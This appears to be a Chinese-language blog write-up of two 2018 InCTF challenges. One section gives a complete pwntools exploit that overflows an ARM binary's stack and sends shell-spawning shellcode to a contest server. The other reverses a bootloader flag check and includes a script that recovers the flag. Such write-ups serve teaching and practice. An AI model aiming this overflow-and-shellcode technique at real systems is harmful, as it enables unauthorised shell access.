骑麦兜看落日

[WriteUp]InCTF

字数统计: 1.1k阅读时长: 6 min
2018/10/05 Share

Pwn


wARMup


题目信息

======= Difficulty : Easy =======

nc 18.191.89.190 1337

======= Author : night_f0x =====


程序分析

1
2
3
4
5
6
7
8
$ file wARMup 
wARMup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=fbe5794e95d6ea5006ea3137c0120ed945acae17, not stripped
$ checksec wARMup
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

解题过程

这道题是一道arm平台的题目,栈溢出不会用,汇编看不懂,只能用用虚拟机的样子


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
from pwn import *
context(log_level = "debug",arch = "arm",os = "linux")

exe = './wARMup'
lib = '/lib/libc.so.6'
ip = '18.191.89.190'
port = 1337
elf = ELF(exe)
libc = ELF(lib)

if sys.argv[1] == "l":
io = process(["qemu-arm", "-L", "./", exe])
elif sys.argv[1] == "d":
io = process(["qemu-arm", "-g", "2333", "-L", "./", exe])
else:
io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

p_r3 = 0x10364
read_addr = 0x10530
bss_addr = elf.bss()

payload = ''
payload += 'A' * 0x64
payload += p32(bss_addr)
payload += p32(p_r3)
payload += p32(bss_addr)
payload += p32(read_addr)

io.recvuntil('Welcome to bi0s CTF!')
io.send(payload)

shellcode = asm(shellcraft.sh())

payload = ''
payload += p32(bss_addr+4)
payload += shellcode

io.sendline(payload)
io.interactive()

相关资料


Reverse


load3r


题目信息

======= Difficulty level : Easy ========

A basic bootloader challenge. Note: The flag format is inctf{correct_input}

Note: The challenge must be run in qemu-system-i386 version 2.5.0

========== Authors : b3y0nd3r, r00tus3r ==========


程序分析

1
2
$ file boot_try.bin 
boot_try.bin: DOS/MBR boot sector

解题过程

16位汇编程序,题目已经提示可以在qemu-system-i386

但是我觉着直接读源码可能会更好一点,毕竟也就0x1D4个字节

首先设置了一下数据段和栈段

1
2
3
4
5
6
7
8
9
10
11
seg000:0000                 mov     ax, 7C0h
seg000:0003 mov ds, ax
seg000:0005 assume ds:nothing
seg000:0005 mov bx, 0
seg000:0008 mov cx, 0
seg000:000B mov si, 16h
seg000:000E call loc_11B
seg000:0011 call sub_128
seg000:0014
seg000:0014 loc_14: ; CODE XREF: seg000:loc_14↓j
seg000:0014 jmp short loc_14

然后定义了一些数据

1
2
3
4
5
6
7
8
9
10
11
12
13
seg000:0016                 db  45h ; E
seg000:0017 aNterTheFlag db 'NTER THE FLAG',0Dh,0Ah,0
seg000:0027 aW2g1ksC7me3kee db 'w2g1kS<c7me3keeuSMg1kSk%Se<=S3%/e/',0Dh,0Ah,0
seg000:004C db 59h ; Y
seg000:004D aEahThatIsTheFl db 'eah, that is the flag',0Dh,0Ah,0
seg000:004D ; DATA XREF: sub_128+2↓r
seg000:004D ; sub_128+6↓r
seg000:0065 db 4Eh ; N
seg000:0066 aOooo db 'OOOO',0Dh,0Ah,0
seg000:006D db 0Ah,0
seg000:006F db 5Ah dup(0)
seg000:00C9 a01000100110111 db '0100010011011101111111011010110101',0Dh,0Ah,0
seg000:00EE db 2Dh dup(0)

这里可以看到几个比较有意思的数据,需要额外关注下

1
2
seg000:0027 aW2g1ksC7me3kee db 'w2g1kS<c7me3keeuSMg1kSk%Se<=S3%/e/',0Dh,0Ah,0
seg000:00C9 a01000100110111 db '0100010011011101111111011010110101',0Dh,0Ah,0

之后是输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
seg000:0128                 mov     ah, 1
seg000:012A int 16h ; KEYBOARD - CHECK BUFFER, DO NOT CLEAR
seg000:012A ; Return: ZF clear if character in buffer
seg000:012A ; AH = scan code, AL = character
seg000:012A ; ZF set if no character in buffer
seg000:012C mov ah, 0
seg000:012E int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
seg000:012E ; Return: AH = scan code, AL = character
seg000:0130 mov ds:6Dh, al
seg000:0133 mov [bx+6Fh], al
seg000:0137 cmp byte ptr ds:6Dh, 0Dh
seg000:013C jz short loc_147
seg000:013E inc bx
seg000:013F mov si, 6Dh ; 'm'
seg000:0142 call loc_11B
seg000:0145 jmp short sub_128

这里的int 16h是16号中断历程,分别调用了1号子程序和0号子程序实现输入的功能

之后比较长度

1
2
3
seg000:014D                 cmp     bx, 22h ; '"'
seg000:0150 jz short loc_154
seg000:0152 jmp short ends

再然后这一段开始有点看不明白

1
2
3
4
5
6
7
8
9
seg000:0154                 mov     ax, 0
seg000:0157 mov bx, 0
seg000:015A mov si, 6Fh ; 'o'
seg000:015D
seg000:015D loc_15D: ; CODE XREF: sub_128+4A↓j
seg000:015D ; sub_128+54↓j
seg000:015D mov al, 31h ; '1'
seg000:015F cmp [bx+0C9h], al
seg000:0163 jz short loc_174

这里需要注意的是bx+0C9h这个地方,就是之前那个重点关注的字符串

1
seg000:00C9 a01000100110111 db '0100010011011101111111011010110101',0Dh,0Ah,0

大概理解了下这里应该是一个if...else...语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
seg000:015D                 mov     al, 31h ; '1'
seg000:015F cmp [bx+0C9h], al
seg000:0163 jz short loc_174
seg000:0165 lodsb
seg000:0166 shr al, 1
seg000:0168 mov [bx+0EEh], al
seg000:016C inc bx
seg000:016D cmp bx, 23h ; '#'
seg000:0170 jz short loc_1A8
seg000:0172 jmp short loc_15D
seg000:0174 ; ---------------------------------------------------------------------------
seg000:0174
seg000:0174 loc_174: ; CODE XREF: sub_128+3B↑j
seg000:0174 lodsb
seg000:0175 shl al, 1
seg000:0177 mov [bx+0EEh], al
seg000:017B inc bx
seg000:017C jmp short loc_15D

大概是这个样子

1
2
3
4
5
6
7
str = '0100010011011101111111011010110101'

for i in range(str):
if str[i] == '1':
input[i] <<= 1
else:
input[i] >>= 1

接着跟下一个跳转jz short loc_1A8

1
2
3
4
5
6
7
8
9
10
11
12
13
seg000:01A8 loc_1A8:                                ; CODE XREF: sub_128+48↑j
seg000:01A8 mov bx, 0
seg000:01AB mov si, 0EEh
seg000:01AE
seg000:01AE loc_1AE: ; CODE XREF: sub_128+94↓j
seg000:01AE lodsb
seg000:01AF cmp al, 0
seg000:01B1 jz short loc_1BE
seg000:01B3 mov ah, 0Eh
seg000:01B5 xor al, 5
seg000:01B7 mov [bx+9Ch], al
seg000:01BB inc bx
seg000:01BC jmp short loc_1AE

这里其实不难看懂,逐位异或

继续跟进跳转jz short loc_1BE

1
2
3
4
5
6
7
8
9
10
11
12
seg000:01BE loc_1BE:                                ; CODE XREF: sub_128+89↑j
seg000:01BE mov bx, 21h ; '!'
seg000:01C1 mov si, 9Ch
seg000:01C4
seg000:01C4 loc_1C4: ; CODE XREF: sub_128+A9↓j
seg000:01C4 lodsb
seg000:01C5 cmp al, [bx+27h]
seg000:01C9 jnz short ends
seg000:01CB cmp bx, 0
seg000:01CE jz short loc_192
seg000:01D0 dec bx
seg000:01D1 jmp short loc_1C4

这里逐字异或


解密算法

1
2
3
4
5
6
7
8
9
10
11
enc = list('w2g1kS<c7me3keeuSMg1kSk%Se<=S3%/e/')[::-1]
sig = '0100010011011101111111011010110101'

for i in range(len(enc)):
enc[i] = ord(enc[i]) ^ 5
if sig[i]=='1':
enc[i] = chr((enc[i]>>1) & 0x7f)
else:
enc[i] = chr((enc[i]<<1) & 0x7f)

print('inctf{' + ''.join(enc) + '}')

相关资料

CATALOG
  1. 1. Pwn
    1. 1.1. wARMup
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
      5. 1.1.5. 相关资料
  2. 2. Reverse
    1. 2.1. load3r
      1. 2.1.1. 题目信息
      2. 2.1.2. 程序分析
      3. 2.1.3. 解题过程
      4. 2.1.4. 解密算法
      5. 2.1.5. 相关资料